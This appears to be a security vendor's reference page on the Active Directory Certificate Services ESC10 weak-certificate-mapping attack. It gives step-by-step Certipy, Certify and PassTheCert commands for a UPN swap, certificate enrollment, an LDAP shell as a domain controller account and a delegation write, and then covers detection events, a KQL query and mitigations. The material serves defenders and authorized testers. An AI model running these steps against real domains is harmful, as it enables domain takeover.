1. Resources
  2. Identity Threats
  3. Active Directory

AD CS ESC10: Weak Certificate Mappings

Also known as: ESC10, Weak certificate mapping, Schannel UPN mapping, CertificateMappingMethods abuse, StrongCertificateBindingEnforcement 0

Where a domain controller or TLS service still maps certificates by UPN, an attacker who can change one account's UPN enrolls an ordinary certificate and signs in as another account.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Specific rights or roles
Write access to userPrincipalName on an account that can enroll in any client authentication template, plus that account's credentials. The target server must allow weak mapping.
What the attacker gains
An LDAP session over TLS, or a Kerberos ticket, as an account of the attacker's choice, including domain controller computer accounts and the built-in Administrator.
Threat groups
APT29NIMBUS MANTICOREFIN13HAFNIUMLazarus GroupSalt TyphoonScattered SpiderTeamPCPVOID MANTICOREGroups that MITRE ATT&CK records using T1649, T1556, T1098.

How it works

A Windows server that receives a client certificate has to decide which account it belongs to. KB5014754 introduced strong mapping, where the certificate carries the account's SID or the account lists the exact certificate, and left two registry settings that can keep the older name-based mapping alive. ESC10 is the state where one of them still does.

Schannel. TLS client certificate authentication, for example to LDAPS on a domain controller or to an IIS site, is mapped by Schannel according to CertificateMappingMethods under HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel. The value is a bitmask: 0x1 subject and issuer, 0x2 issuer, 0x4 UPN, 0x8 S4U2Self, 0x10 explicit S4U2Self. The default used to be 0x1F and is now 0x18, which leaves only the two Kerberos-backed methods. When the UPN bit 0x4 is set, Schannel looks up the UPN in the certificate's subject alternative name and signs the client in as that account. It does this even if the certificate also contains a SID extension that names a different account.

Kerberos. StrongCertificateBindingEnforcement under HKLM\SYSTEM\CurrentControlSet\Services\Kdc set to 0 disabled the strong mapping check for PKINIT, so the KDC mapped by UPN regardless of the SID in the certificate. Microsoft removed Disabled mode in 2023, moved domain controllers to Full Enforcement with the February 11, 2025 update and ended support for the registry value with the September 9, 2025 update, so this case exists only on domain controllers that have not been updated.

The abuse is the same UPN swap as in ESC9, without needing a special template:

  1. The attacker can write the userPrincipalName of an account they also control (the "victim").
  2. They set that UPN to the target's name. For the Schannel case the usual target is a domain controller's computer account, written as DC01$@corp.example.com, because computer accounts have no UPN and nothing collides.
  3. As the victim, they enroll in any client authentication template, for example User.
  4. They restore the UPN.
  5. They present the certificate to LDAPS. Schannel maps it by UPN to DC01$.

The result is a certificate-authenticated LDAP session, the same access path as Pass-the-Cert. No Kerberos ticket is requested in the Schannel case.

Prerequisites

  • A server that maps weakly: CertificateMappingMethods with bit 0x4 on the domain controller or application server that will validate the certificate, or a domain controller with strong binding disabled.
  • Write access to userPrincipalName on an account, and the means to authenticate as it (password, hash, or shadow credentials).
  • Enroll rights for that account on a published client authentication template. The default User template is enough.
  • A target without a conflicting UPN: a computer account, or a user such as the built-in Administrator whose UPN is not set.
  • Network access to the CA and to the TLS service, for LDAPS port 636.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Establish the mapping mode

The registry values can only be read with administrative access to the server, so from the outside the mode is inferred or tested. With access, read both values:

reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel /v CertificateMappingMethods
reg query HKLM\SYSTEM\CurrentControlSet\Services\Kdc /v StrongCertificateBindingEnforcement

A CertificateMappingMethods value of 0x4, 0xC, 0x1C or 0x1F includes UPN mapping. Certipy does not detect ESC10. Use it, or Certify, to find a client authentication template that the controlled account can enroll in:

Certify.exe enum-templates --filter-enabled --filter-client-auth --hide-admins

2. Set the controlled account's UPN to the target

alice has GenericWrite over svc-web. The target is the domain controller DC01:

certipy account -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -user 'svc-web' read
certipy account -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -upn 'DC01$@corp.example.com' -user 'svc-web' update

To target a user instead, set the UPN to that user's name, as the Certify documentation does with Set-ADUser -Identity svc-web -UserPrincipalName 'Administrator@corp.example.com'.

3. Enroll as the controlled account

With a credential cache for svc-web (from its password or from certipy shadow auto):

export KRB5CCNAME=svc-web.ccache
certipy req -k -dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' -ca 'CORP-CA' -template 'User'

Certipy reports the certificate's UPN as DC01$@corp.example.com and its object SID as the SID of svc-web, and saves dc01.pfx. On Windows, in a session of the controlled account:

Certify.exe request --ca SRV01.corp.example.com\CORP-CA --template User

4. Restore the UPN

certipy account -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -upn 'svc-web@corp.example.com' -user 'svc-web' update

5. Authenticate over Schannel

certipy auth -pfx 'dc01.pfx' -dc-ip 192.0.2.10 -ldap-shell

Certipy connects to LDAPS with the certificate and opens an interactive LDAP shell as CORP\DC01$. From Windows, PassTheCert does the same and confirms the mapped identity:

PassTheCert.exe --server DC01.corp.example.com --cert-path dc01.pfx --whoami

6. Turn the LDAP session into control

A domain controller's computer account can write its own msDS-AllowedToActOnBehalfOfOtherIdentity. Setting resource-based constrained delegation to a computer account the attacker controls lets them request a service ticket to DC01 as an administrator. PassTheCert has an action for it:

PassTheCert.exe --server DC01.corp.example.com --cert-path dc01.pfx --rbcd --target "CN=DC01,OU=Domain Controllers,DC=corp,DC=example,DC=com" --sid S-1-5-21-1004336348-1177238915-682003330-1131

Variant: Kerberos with strong binding disabled

On a domain controller with StrongCertificateBindingEnforcement at 0, the same swap with the target's user name yields a certificate that PKINIT accepts:

certipy auth -pfx 'administrator.pfx' -dc-ip 192.0.2.10 -username 'administrator' -domain 'corp.example.com'

Impact

The Schannel case gives an authenticated LDAP session as any account without a conflicting UPN. As a domain controller's computer account that leads, through delegation settings, to administrative access to the domain controller and then to the domain. As the built-in Administrator it is direct control of the directory. The Kerberos case gives a TGT and the NT hash of the target.

The attack does not depend on any flaw in AD CS itself. A CA with only well-configured templates is enough, which is why a template review alone does not find it.

OPSEC and artifacts

  • Two UPN writes. As in ESC9, the swap and the restore each write event 4738 on a domain controller. A user account whose UPN is briefly DC01$@corp.example.com is not something normal administration produces.
  • An ordinary enrollment. The CA logs event 4887 for svc-web on the User template. The requester is right and the template is common, so the event only stands out when the subject alternative name in it is compared with the requester.
  • No ticket request. Operators prefer the Schannel path because the domain controller logs no event 4768 for the target. What it does log is a network logon, event 4624, for DC01$ from the attacker's address with Schannel as the logon process. A domain controller's computer account logging on to itself from a workstation address is the trace.
  • Directory writes made in the session are attributed to the mapped account. A 5136 that shows DC01$ changing its own delegation attribute from a foreign address has no certificate details in it, so the link back to the certificate has to be made through time and source address.
  • The registry value itself. If the operator weakens the mapping instead of finding it weak, the change to CertificateMappingMethods or StrongCertificateBindingEnforcement is a registry write on the server, recorded as event 4657 where registry auditing covers the key.
  • Kerberos variant. A PKINIT sign-in through weak mapping logs KDC event 39 on the domain controller.

Detection

  • Mapping settings changed. Monitor both registry values on domain controllers and on servers that accept client certificates. The weak certificate mapping rules include a rule for writes to these values and rules for KDC events 39 to 41.
  • UPN set to another principal's name. A 4738 where a user's UserPrincipalName ends in $@<domain>, has no domain part, or equals another account's name. See the UPN or SPN collision rules.
  • Computer account logons from the wrong host. 4624 for a domain controller's computer account where IpAddress is not one of that controller's addresses and LogonProcessName is Schannel.
  • Follow-on writes. Delegation set on a domain controller object is covered by the RBCD rules.
// User accounts whose UPN was set to a computer account name
WindowsEvent
| where EventID == 4738 and Provider == "Microsoft-Windows-Security-Auditing"
| extend NewUpn = tostring(EventData.UserPrincipalName),
         Target = tostring(EventData.TargetUserName),
         Actor = tostring(EventData.SubjectUserName)
| where NewUpn contains "$@"
| project TimeGenerated, Computer, Actor, Target, NewUpn

A registry value read from a server is a configuration state, and a Schannel logon is also what legitimate certificate authentication produces. The detection is the combination: a name change, an enrollment by the same account, and a logon as the borrowed name.

Mitigation

  • Set CertificateMappingMethods to 0x18 on every domain controller and every server that authenticates client certificates, or remove an override so the default applies. Do not leave 0x1F in place after a compatibility test.
  • Keep domain controllers patched and in Full Enforcement, which removes the Kerberos case.
  • Replace name-based mappings with strong ones. Applications that relied on UPN mapping should move to certificates with the SID extension or to strong explicit mappings in altSecurityIdentities.
  • Restrict who can write userPrincipalName. Review GenericWrite, GenericAll and property-level write access on user and service accounts. The Active Directory hardening guide covers the delegation review.
  • Require LDAP channel binding and signing. They do not change certificate mapping, but they are part of the same LDAPS hardening on domain controllers; see the LDAP signing and channel binding guide.
  • Audit the two registry keys with a SACL so that a change produces event 4657.
  • After an incident, revoke the certificate, publish a CRL, remove any delegation entry or other attribute the session wrote, and reset the credentials of the account that was used to enroll.

Detection rules for this attack

Log events to collect

FAQ

Which registry values make a server vulnerable to ESC10?

Two, on different paths. CertificateMappingMethods under HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel with the UPN bit 0x4 set makes Schannel map TLS client certificates by UPN. StrongCertificateBindingEnforcement set to 0 under HKLM\SYSTEM\CurrentControlSet\Services\Kdc turned off the strong mapping check for Kerberos.

Does Full Enforcement on domain controllers fix ESC10?

It closes the Kerberos case. The Schannel case is governed by CertificateMappingMethods, which is a separate setting. The current default 0x18 has no UPN mapping, but a server where the value was set back to 0x1F or 0x4 for compatibility still maps by UPN even when Kerberos enforces strong mapping.

Does ESC10 need a misconfigured certificate template?

No. In the Schannel case the default User template works. The certificate can even carry the SID of the account that enrolled, because UPN mapping in Schannel matches on the name in the certificate. The misconfiguration is on the server that validates the certificate, plus the write access to an account's UPN.

What can an attacker do with an LDAP session as a domain controller's computer account?

Write directory attributes that the computer account may write. The usual next step is to set resource-based constrained delegation on the domain controller's own computer object and then request a service ticket to it as an administrator.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.